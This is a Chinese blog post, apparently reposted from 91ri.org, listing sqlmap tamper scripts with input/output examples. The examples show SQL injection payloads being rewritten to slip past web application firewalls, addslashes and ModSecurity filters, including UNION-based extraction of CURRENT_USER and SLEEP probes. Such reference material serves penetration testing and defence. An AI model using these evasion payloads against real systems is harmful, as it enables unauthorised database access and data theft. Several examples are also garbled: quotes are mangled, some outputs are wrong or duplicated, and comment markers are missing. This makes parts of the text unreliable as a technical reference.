sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MS-SQL,,MYSQL,ORACLE和POSTGRESQL。SQLMAP采用四种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,堆查询和基于时间的SQL盲注入。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。在许多情况下你可以通过使用sqlmap中的tamper脚本来对目标进行更高效的攻击。
本文旨在介绍tamper目录中的大部分插件,其中有的部分网上已经有了。
脚本名:apostrophemask.py
作用:用utf8代替引号
Example:
Default
1 2 |
("1 AND ‘1‘=‘1") ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871‘ |
Tested against:
all
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文件名:equaltolike.py
作用:like 代替等号
Example:
Default
1 2 |
* Input: SELECT * FROM users WHERE id=1 * Output: SELECT * FROM users WHERE id LIKE 1 |
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
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脚本名:space2dash.py
作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
Example:
Default
1 2 |
(‘1 AND 9227=9227‘) ‘1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227‘ |
Tested against:
* MSSQL
* SQLite
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脚本名:greatest.py
作用:绕过过滤’>’ ,用GREATEST替换大于号。
Example:
Default
1 2 |
(‘1 AND A > B‘) ‘1 AND GREATEST(A,B+1)=A‘ |
Tested against:
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
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脚本名:space2hash.py
作用:空格替换为#号 随机字符串 以及换行符
Example:
Default
1 2 |
* Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 |
Requirement:
* MySQL
Tested against:
* MySQL 4.0, 5.0
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脚本名:apostrophenullencode.py
作用:绕过过滤双引号,替换字符和双引号。
Example:
Default
1 2 |
tamper("1 AND ‘1‘=‘1") ‘1 AND %00%271%00%27=%00%271‘ |
Tested against:
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
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脚本名:halfversionedmorekeywords.py
作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
Example:
Default
1 2 |
("value‘ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa‘=‘QDWa") "value‘/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND ‘QDWa‘=‘QDWa" |
Requirement:
* MySQL < 5.1
Tested against:
* MySQL 4.0.18, 5.0.22
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脚本名:space2morehash.py
作用:空格替换为 #号 以及更多随机字符串 换行符
Example:
Default
1 2 |
* Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 |
Requirement:
* MySQL >= 5.1.13
Tested against:
* MySQL 5.1.41
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脚本名:appendnullbyte.py
作用:在有效负荷结束位置加载零字节字符编码
Example:
Default
1 2 |
(‘1 AND 1=1‘) ‘1 AND 1=1%00‘ |
Requirement:
* Microsoft Access
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脚本名:ifnull2ifisnull.py
作用:绕过对 IFNULL 过滤。
替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
Example:
Default
1 2 |
(‘IFNULL(1, 2)‘) ‘IF(ISNULL(1),2,1)‘ |
Requirement:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)
Tested against:
* MySQL 5.0 and 5.5
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脚本名:space2mssqlblank.py(mssql)
作用:空格替换为其它空符号
Example:
Default
1 2 |
* Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers |
Requirement:
* Microsoft SQL Server
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
# ASCII table:
Default
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
# SOH 01 start of heading # STX 02 start of text # ETX 03 end of text # EOT 04 end of transmission # ENQ 05 enquiry # ACK 06 acknowledge # BEL 07 bell # BS 08 backspace # TAB 09 horizontal tab # LF 0A new line # VT 0B vertical TAB # FF 0C new page # CR 0D carriage return # SO 0E shift out # SI 0F shift in |
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脚本名:base64encode.py
作用:用base64编码替换
Example:
Default
1 2 |
("1‘ AND SLEEP(5)#") ‘MScgQU5EIFNMRUVQKDUpIw==‘ |
Requirement:
all
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脚本名:space2mssqlhash.py
作用:替换空格
Example:
Default
1 2 |
(‘1 AND 9227=9227‘) ‘1%23%0AAND%23%0A9227=9227‘ |
Requirement:
* MSSQL
* MySQL
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脚本名:modsecurityversioned.py
作用:过滤空格,包含完整的查询版本注释
Example:
Default
1 2 |
(‘1 AND 2>1--‘) ‘1 /*!30874AND 2>1*/--‘ |
Requirement:
* MySQL
Tested against:
* MySQL 5.0
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脚本名:space2mysqlblank.py
作用:空格替换其它空白符号(mysql)
Example:
Default
1 2 |
* Input: SELECT id FROM users * Output: SELECT%0Bid%0BFROM%A0users |
Requirement:
* MySQL
Tested against:
* MySQL 5.1
Default
1 2 3 4 5 6 |
# TAB 09 horizontal TAB # LF 0A new line # FF 0C new page # CR 0D carriage return # VT 0B vertical TAB (MySQL and Microsoft SQL Server only) # - A0 - (MySQL only) |
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脚本名:between.py
作用:用between替换大于号(>)
Example:
Default
1 2 |
(‘1 AND A > B--‘) ‘1 AND A NOT BETWEEN 0 AND B--‘ |
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
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脚本名:modsecurityzeroversioned.py
作用:包含了完整的查询与零版本注释
Example:
Default
1 2 |
(‘1 AND 2>1--‘) ‘1 /*!00000AND 2>1*/--‘ |
Requirement:
* MySQL
Tested against:
* MySQL 5.0
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脚本名:space2mysqldash.py
作用:替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
91ri.org注:之前有个mssql的 这个是mysql的
Example:
Default
1 2 |
(‘1 AND 9227=9227‘) ‘1--%0AAND--%0A9227=9227‘ |
Requirement:
* MySQL
* MSSQL
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脚本名:multiplespaces.py
作用:围绕SQL关键字添加多个空格
Example:
Default
1 2 |
(‘1 UNION SELECT foobar‘) ‘1 UNION SELECT foobar‘ |
Tested against:
all
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脚本名:space2plus.py
作用:用+替换空格
Example:
Default
1 2 |
(‘SELECT id FROM users‘) ‘SELECT+id+FROM+users‘ |
Tested against:
all
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脚本名:bluecoat.py
作用:代替空格字符后与一个有效的随机空白字符的SQL语句。
然后替换=为like
Example:
Default
1 2 |
(‘SELECT id FROM users where id = 1‘) ‘SELECT%09id FROM users where id LIKE 1‘ |
Tested against:
* MySQL 5.1, SGOS
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脚本名:nonrecursivereplacement.py
双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
Example:
Default
1 2 |
(‘1 UNION SELECT 2--‘) ‘1 UNIOUNIONN SELESELECTCT 2--‘ |
Tested against:
all
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脚本名:space2randomblank.py
作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集
Example:
Default
1 2 |
(‘SELECT id FROM users‘) ‘SELECT%0Did%0DFROM%0Ausers‘ |
Tested against:
all
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脚本名:percentage.py
作用:asp允许每个字符前面添加一个%号
Example:
Default
1 2 |
* Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E |
Requirement:
* ASP
Tested against:
* Microsoft SQL Server 2000, 2005
* MySQL 5.1.56, 5.5.11
* PostgreSQL 9.0
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脚本名:sp_password.py
作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
Example:
Default
1 2 |
(‘1 AND 9227=9227-- ‘) ‘1 AND 9227=9227-- sp_password‘ |
Requirement:
* MSSQL
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脚本名:chardoubleencode.py 双url编码(不处理以编码的)
Example:
Default
1 2 |
* Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 |
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脚本名:unionalltounion.py
作用:替换UNION ALL SELECT UNION SELECT
Example:
Default
1 2 |
(‘-1 UNION ALL SELECT‘) ‘-1 UNION SELECT‘ |
Requirement:
all
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脚本名:charencode.py
作用:url编码
Example:
Default
1 2 |
* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
- Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset
- The web server will anyway pass the url-decoded version behind,hence it should work against any DBMS
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脚本名:randomcase.py
作用:随机大小写
Example:
Default
1 2 |
* Input: INSERT * Output: InsERt |
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
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脚本名:unmagicquotes.py
作用:宽字符绕过 GPC addslashes
Example:
Default
1 2 |
* Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20 |
Notes:
- Useful for bypassing magic_quotes/addslashes feature
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脚本名:randomcomments.py
作用:用/**/分割sql关键字
Example:
Default
1 |
‘INSERT’ becomes ‘IN//S//ERT’ |
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脚本名:versionedkeywords.py
作用:Encloses each non-function keyword with versioned MySQL comment
Example:
Default
1 2 |
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))# |
Requirement:
* MySQL
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脚本名:charunicodeencode.py
作用:字符串 unicode 编码
Example:
Default
1 2 |
* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
Requirement:
* ASP
* ASP.NET
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
Notes:
- Useful to bypass weak web application firewalls that do not unicode url-decode the request before processing it through their ruleset
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脚本名:securesphere.py
作用:追加特制的字符串
Example:
Default
1 2 |
(‘1 AND 1=1‘) "1 AND 1=1 and ‘0having‘=‘0having‘" |
Tested against:
all
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脚本名:versionedmorekeywords.py
作用:注释绕过
Example:
Default
1 2 |
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))# |
Requirement:
* MySQL >= 5.1.13
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脚本名:space2comment.py
作用:Replaces space character (‘ ‘) with comments ‘/**/’
Example:
Default
1 2 |
* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users |
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
- Useful to bypass weak and bespoke web application firewalls
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脚本名:halfversionedmorekeywords.py
作用:关键字前加注释
Example:
Default
1 2 |
* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=‘QDWa * Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=‘QDWa |
Requirement:
* MySQL < 5.1
Tested against:
* MySQL 4.0.18, 5.0.22
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原文地址:http://www.91ri.org/7852.html